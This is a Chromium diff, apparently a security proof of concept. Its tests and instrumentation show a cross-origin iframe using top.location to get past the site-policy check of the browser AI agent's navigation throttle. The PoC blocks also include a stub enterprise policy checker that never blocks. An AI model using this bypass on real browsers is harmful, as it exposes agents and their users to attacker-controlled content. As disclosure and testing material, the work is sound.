diff --git a/chrome/browser/actor/actor_navigation_throttle.cc b/chrome/browser/actor/actor_navigation_throttle.cc index abd2a34e0a731..3fd46b0ad6a02 100644 --- a/chrome/browser/actor/actor_navigation_throttle.cc +++ b/chrome/browser/actor/actor_navigation_throttle.cc @@ -6,8 +6,13 @@ #include +#include "base/command_line.h" #include "base/containers/fixed_flat_set.h" +#include "base/functional/callback_helpers.h" +#include "base/no_destructor.h" #include "base/types/pass_key.h" +#include "chrome/browser/actor/enterprise_policy_url_checker.h" +#include "components/actor/task_source_info.h" #include "chrome/browser/actor/actor_features.h" #include "chrome/browser/actor/actor_keyed_service.h" #include "chrome/browser/actor/actor_task.h" @@ -69,6 +74,46 @@ void ActorNavigationThrottle::MaybeCreateAndAdd( return; } + // --------------------------------------------------------------------------- + // PoC INJECTION (precondition only — NOT part of the attack): + // Simulate the user having started a Glic Actor task on this tab. In + // production this happens when the user opens the Glic side panel and starts + // an agent task. We gate it behind a switch so the build behaves normally + // otherwise. Everything below this block is unmodified production code; the + // bypass itself is driven entirely by the served web content. + // --------------------------------------------------------------------------- + if (base::CommandLine::ForCurrentProcess()->HasSwitch( + "actor-poc-auto-task")) { + // Only auto-create one task, bound to the first tab that already has a + // committed page and navigates again. This matches the real scenario: the + // user first browses to a page, THEN starts a Glic task on that tab; other + // tabs (e.g. popups opened by the page) are NOT actor-controlled and so + // are not subject to the throttle. + if (actor_service->GetActiveTasks().empty() && + web_contents->GetLastCommittedURL().SchemeIsHTTPOrHTTPS()) { + class PoCPolicyChecker : public EnterprisePolicyUrlChecker { + public: + EnterprisePolicyBlockReason Evaluate(const GURL&) const override { + return EnterprisePolicyBlockReason::kNotBlocked; + } + }; + static PoCPolicyChecker checker; + TaskId tid = actor_service->CreateTask( + TaskSourceInfo(TaskSourceInfo::Client::kTest, std::nullopt), + &checker); + if (ActorTask* task = actor_service->GetTask(tid)) { + task->AddTab(tab_handle, base::DoNothing()); + LOG(ERROR) << "[PoC precondition] Actor task auto-created and bound " + "to tab " + << tab_handle.raw_value() + << " (simulating user-started Glic task). " + "IsActingOnTab=" + << task->IsActingOnTab(tab_handle); + } + } + } + // --------------------------------------------------------------------------- + const auto& tasks = actor_service->GetActiveTasks(); auto task_it = std::ranges::find_if(tasks, [tab_handle](const auto& t) { const ActorTask* task = t.second; @@ -78,6 +123,13 @@ void ActorNavigationThrottle::MaybeCreateAndAdd( return; } + if (base::CommandLine::ForCurrentProcess()->HasSwitch( + "actor-poc-auto-task")) { + LOG(ERROR) << "[PoC instrumentation] ActorNavigationThrottle attached for " + << navigation_handle.GetURL().spec() + << " tab=" << tab_handle.raw_value() << " last_committed=" + << web_contents->GetLastCommittedURL().spec(); + } registry.AddThrottle(std::make_unique( base::PassKey(), registry, *task_it->second)); } @@ -164,6 +216,10 @@ void ActorNavigationThrottle::OnNavigationConfirmationDecision( bool may_continue) { CHECK(!navigation_handle()->IsInPrerenderedMainFrame()) << "We should not be prompting for pre-rendered frame navigations."; + LOG(ERROR) << "[PoC instrumentation] WillProcessResponse decision for " + << navigation_handle()->GetURL().spec() + << ": may_continue=" << may_continue + << " was_deferred=" << was_deferred; if (may_continue) { if (was_deferred) { Resume(); @@ -210,8 +266,17 @@ ActorNavigationThrottle::WillStartOrRedirectRequest(bool is_redirection) { // This isn't needed for correctness. We know that if the actor triggered a // same origin navigation, the destination URL will be allowed. So we // avoid an unnecessary defer. + LOG(ERROR) << "[PoC instrumentation] WillStartOrRedirectRequest: PROCEED " + "via same-origin fast-path. initiator=" + << initiator_origin->Serialize() + << " dest=" << navigation_url.spec() + << " (MayActOnUrl SKIPPED)"; return content::NavigationThrottle::PROCEED; } + LOG(ERROR) << "[PoC instrumentation] WillStartOrRedirectRequest: DEFER to " + "MayActOnUrl. initiator=" + << (initiator_origin ? initiator_origin->Serialize() : "") + << " dest=" << navigation_url.spec(); actor::ActorTask* task = ActorKeyedService::Get(GetProfile())->GetTask(task_id_); @@ -247,6 +312,9 @@ void ActorNavigationThrottle::OnMayActOnUrlResult( return; } + LOG(ERROR) << "[PoC instrumentation] OnMayActOnUrlResult: BLOCKED " + << navigation_handle()->GetURL().spec() + << " block_reason=" << static_cast(block_reason); journal_entry->EndEntry(JournalDetailsBuilder().AddError("Cancel").Build()); // If the navigation we're about to cancel is attributable to the actor's tool // usage, consider the action a failure. But we don't consider canceled diff --git a/chrome/browser/actor/actor_navigation_throttle_unittest.cc b/chrome/browser/actor/actor_navigation_throttle_unittest.cc index e8a6551f866cb..1c6de251ddf73 100644 --- a/chrome/browser/actor/actor_navigation_throttle_unittest.cc +++ b/chrome/browser/actor/actor_navigation_throttle_unittest.cc @@ -87,5 +87,61 @@ TEST_F(ActorNavigationThrottleTest, PrerenderedMainFrame_ProceedIfSameOrigin) { throttle.WillProcessResponse().action()); } +// PoC: WillStartOrRedirectRequest's same-origin fast-path compares the +// *initiator* origin with the destination, not the actor-controlled tab's +// origin. A cross-origin subframe (or popup) embedded in the actor-controlled +// page can navigate the top frame to its own origin and the throttle returns +// PROCEED, skipping MayActOnUrl entirely. +TEST_F(ActorNavigationThrottleTest, + PoC_SameOriginInitiatorFastPathBypassesMayActOnUrl) { + ActorKeyedService* service = ActorKeyedService::Get(profile()); + TaskId task_id = + service->CreateTask(TestTaskSourceInfo(), NoEnterprisePolicyChecker()); + ActorTask* task = service->GetTask(task_id); + ASSERT_TRUE(task); + + // The actor-controlled tab is on an allowed origin. + NavigateAndCommit(GURL("https://allowed.example/")); + + // CONTROL: The allowed page itself initiates a top-frame navigation to a + // bare-IP host. initiator (https://allowed.example) != destination + // (http://8.8.8.8) -> the same-origin fast-path is NOT taken; the throttle + // DEFERs and runs MayActOnUrl (which rejects bare-IP hosts). + { + testing::NiceMock handle( + GURL("http://8.8.8.8/hijack"), main_rfh()); + handle.set_initiator_origin( + url::Origin::Create(GURL("https://allowed.example/"))); + content::MockNavigationThrottleRegistry registry(&handle); + ActorNavigationThrottle throttle = + ActorNavigationThrottle::CreateForTesting(registry, *task); + EXPECT_EQ(content::NavigationThrottle::DEFER, + throttle.WillStartRequest().action()) + << "Control: cross-origin initiator should DEFER for MayActOnUrl"; + } + + // BYPASS: A cross-origin subframe (which itself loaded ungated, since the + // throttle skips !IsInPrimaryMainFrame()) at http://8.8.8.8 sets + // top.location to http://8.8.8.8/hijack. The browser-side + // NavigationHandle::GetInitiatorOrigin() reports the subframe's origin. + // + // The same-origin fast-path (actor_navigation_throttle.cc:204) sees + // initiator (8.8.8.8) IsSameOriginWith destination (8.8.8.8) and returns + // PROCEED. MayActOnUrl never runs, so its IP-address / scheme / lookalike / + // enterprise checks are all bypassed. + { + testing::NiceMock handle( + GURL("http://8.8.8.8/hijack"), main_rfh()); + handle.set_initiator_origin(url::Origin::Create(GURL("http://8.8.8.8/"))); + content::MockNavigationThrottleRegistry registry(&handle); + ActorNavigationThrottle throttle = + ActorNavigationThrottle::CreateForTesting(registry, *task); + EXPECT_EQ(content::NavigationThrottle::PROCEED, + throttle.WillStartRequest().action()) + << "BUG: throttle returned PROCEED for IP-literal destination " + "because initiator==destination origin; MayActOnUrl was bypassed"; + } +} + } // namespace } // namespace actor diff --git a/chrome/browser/actor/execution_engine_browsertest.cc b/chrome/browser/actor/execution_engine_browsertest.cc index b49f6364d6f59..f4e8088134230 100644 --- a/chrome/browser/actor/execution_engine_browsertest.cc +++ b/chrome/browser/actor/execution_engine_browsertest.cc @@ -70,6 +70,7 @@ #include "content/public/test/test_frame_navigation_observer.h" #include "content/public/test/test_navigation_observer.h" #include "content/public/test/test_utils.h" +#include "content/public/test/url_loader_interceptor.h" #include "net/base/features.h" #include "net/dns/mock_host_resolver.h" #include "net/test/embedded_test_server/embedded_test_server.h" @@ -436,6 +437,141 @@ IN_PROC_BROWSER_TEST_F(ExecutionEngineBrowserTest, PrerenderBlockedSite) { mojom::ActionResultCode::kTriggeredNavigationBlocked); } +// ----------------------------------------------------------------------------- +// PoC: ActorNavigationThrottle same-origin fast-path trusts +// attacker-controllable initiator_origin, bypassing MayActOnUrl site policy. +// +// ActorNavigationThrottle::WillStartOrRedirectRequest returns PROCEED when +// `initiator_origin->IsSameOriginWith(navigation_url)`, on the assumption that +// the *actor* triggered a same-origin navigation. But the initiator can be any +// document in the browsing-context group - including a cross-origin subframe +// embedded in the actor-controlled tab (subframe loads are not throttled at +// all). Such a subframe can navigate the top frame to its *own* origin and the +// throttle treats it as "same origin" and skips MayActOnUrl entirely. +// +// This test demonstrates the bypass against MayActOnUrl's hard IP-address +// block (site_policy.cc HostIsIPAddress check), which has no equivalent in the +// secondary WillProcessResponse gating layer, so the navigation commits. +IN_PROC_BROWSER_TEST_F(ExecutionEngineBrowserTest, + PoC_CrossOriginSubframeBypassesMayActOnUrl) { + // Non-loopback IP-literal origin. MayActOnUrl rejects all such URLs via + // HostIsIPAddress(). Serve it via URLLoaderInterceptor so navigation + // throttles still run unmodified - only the network layer is mocked. + const GURL kAttackerFrame("http://8.8.8.8/frame.html"); + const GURL kAttackerHijack("http://8.8.8.8/hijack.html"); + content::URLLoaderInterceptor attacker_interceptor( + base::BindLambdaForTesting( + [&](content::URLLoaderInterceptor::RequestParams* params) -> bool { + if (params->url_request.url.host() != "8.8.8.8") { + return false; + } + content::URLLoaderInterceptor::WriteResponse( + "HTTP/1.1 200 OK\nContent-Type: text/html\n\n", + "attacker", params->client.get()); + return true; + })); + + // Place the actor-controlled tab on an allowed page and bring it under actor + // control (precondition: user has started an Actor task on this tab). + const GURL allowed_url = + embedded_https_test_server().GetURL("example.com", "/actor/blank.html"); + ASSERT_TRUE(content::NavigateToURL(web_contents(), allowed_url)); + { + base::RunLoop loop; + actor_task().AddTab( + active_tab()->GetHandle(), + base::BindLambdaForTesting([&](mojom::ActionResultPtr result) { + EXPECT_TRUE(IsOk(*result)); + loop.Quit(); + })); + loop.Run(); + } + ASSERT_TRUE(actor_task().IsActingOnTab(active_tab()->GetHandle())); + + // --------------------------------------------------------------------------- + // CONTROL: the allowed main frame initiates navigation to the IP-literal + // host. initiator=https://example.com, dest=http://8.8.8.8 -> not same + // origin -> MayActOnUrl runs -> HostIsIPAddress -> CANCEL_AND_IGNORE. + { + content::TestNavigationManager nav(web_contents(), kAttackerHijack); + ASSERT_TRUE( + content::ExecJs(web_contents(), + content::JsReplace("location.href = $1", kAttackerHijack), + content::EXECUTE_SCRIPT_NO_USER_GESTURE)); + // The throttle cancels in WillStartRequest, so the request never reaches + // the network and the navigation never commits. + ASSERT_TRUE(nav.WaitForNavigationFinished()); + EXPECT_FALSE(nav.was_committed()) + << "Control case: IP-literal navigation should have been blocked by " + "MayActOnUrl."; + ASSERT_EQ(allowed_url, web_contents()->GetLastCommittedURL()); + LOG(ERROR) << "[PoC] CONTROL: top-frame nav to " << kAttackerHijack + << " from allowed origin was BLOCKED by MayActOnUrl (expected)."; + } + + // --------------------------------------------------------------------------- + // ATTACK: embed a cross-origin iframe at the IP-literal origin. Subframe + // navigations are skipped by the throttle (IsInPrimaryMainFrame() == false), + // so the attacker frame loads unconditionally inside the actor-controlled + // tab. + { + content::TestNavigationObserver subframe_nav(web_contents()); + ASSERT_TRUE(content::ExecJs( + web_contents(), + content::JsReplace("const f = document.createElement('iframe');" + "f.id = 'attacker';" + "f.src = $1;" + "document.body.appendChild(f);", + kAttackerFrame), + content::EXECUTE_SCRIPT_NO_USER_GESTURE)); + subframe_nav.Wait(); + } + content::RenderFrameHost* attacker_frame = + content::ChildFrameAt(main_frame(), 0); + ASSERT_TRUE(attacker_frame); + ASSERT_EQ(kAttackerFrame, attacker_frame->GetLastCommittedURL()); + + // The attacker subframe navigates the top-level actor-controlled tab to its + // own origin via `top.location`. This flows through + // RenderFrameProxyHost::OpenURL with initiator_origin = http://8.8.8.8. + // + // ActorNavigationThrottle::WillStartOrRedirectRequest sees + // initiator_origin (8.8.8.8) IsSameOriginWith navigation_url (8.8.8.8) + // -> PROCEED, skipping MayActOnUrl. The IP-address check never runs. + // + // The secondary WillProcessResponse layer (ExecutionEngine:: + // ShouldDeferNavigation -> OriginChecker::IsNavigationAllowed) shares the + // same flaw: it returns true because initiator==destination origin. + { + content::TestNavigationManager nav(web_contents(), kAttackerHijack); + ASSERT_TRUE(content::ExecJs( + attacker_frame, content::JsReplace("top.location = $1", kAttackerHijack), + content::EXECUTE_SCRIPT_NO_USER_GESTURE)); + + // BUG: All WillStartRequest throttles (including ActorNavigationThrottle) + // returned PROCEED for a destination MayActOnUrl would have rejected. + EXPECT_TRUE(nav.WaitForRequestStart()) + << "BUG NOT REPRODUCED: throttle blocked at WillStartRequest"; + nav.ResumeNavigation(); + + // BUG: Secondary gating in WillProcessResponse also lets it through + // because OriginChecker::IsNavigationAllowed(8.8.8.8, 8.8.8.8) == true. + ASSERT_TRUE(nav.WaitForNavigationFinished()); + EXPECT_TRUE(nav.was_committed()); + EXPECT_TRUE(nav.was_successful()); + EXPECT_EQ(kAttackerHijack, web_contents()->GetLastCommittedURL()); + LOG(ERROR) << "[PoC] BYPASS: actor-controlled tab committed " + << web_contents()->GetLastCommittedURL() + << " (IP-literal host) despite MayActOnUrl HostIsIPAddress " + "block. The Actor will now observe and act on " + "attacker-controlled content."; + } + + // The tab is still under actor control - the Actor would now observe and act + // on the attacker-controlled DOM. + EXPECT_TRUE(actor_task().IsActingOnTab(active_tab()->GetHandle())); +} + IN_PROC_BROWSER_TEST_F(ExecutionEngineBrowserTest, ExternalProtocolLinkBlocked) { const GURL start_url = embedded_https_test_server().GetURL(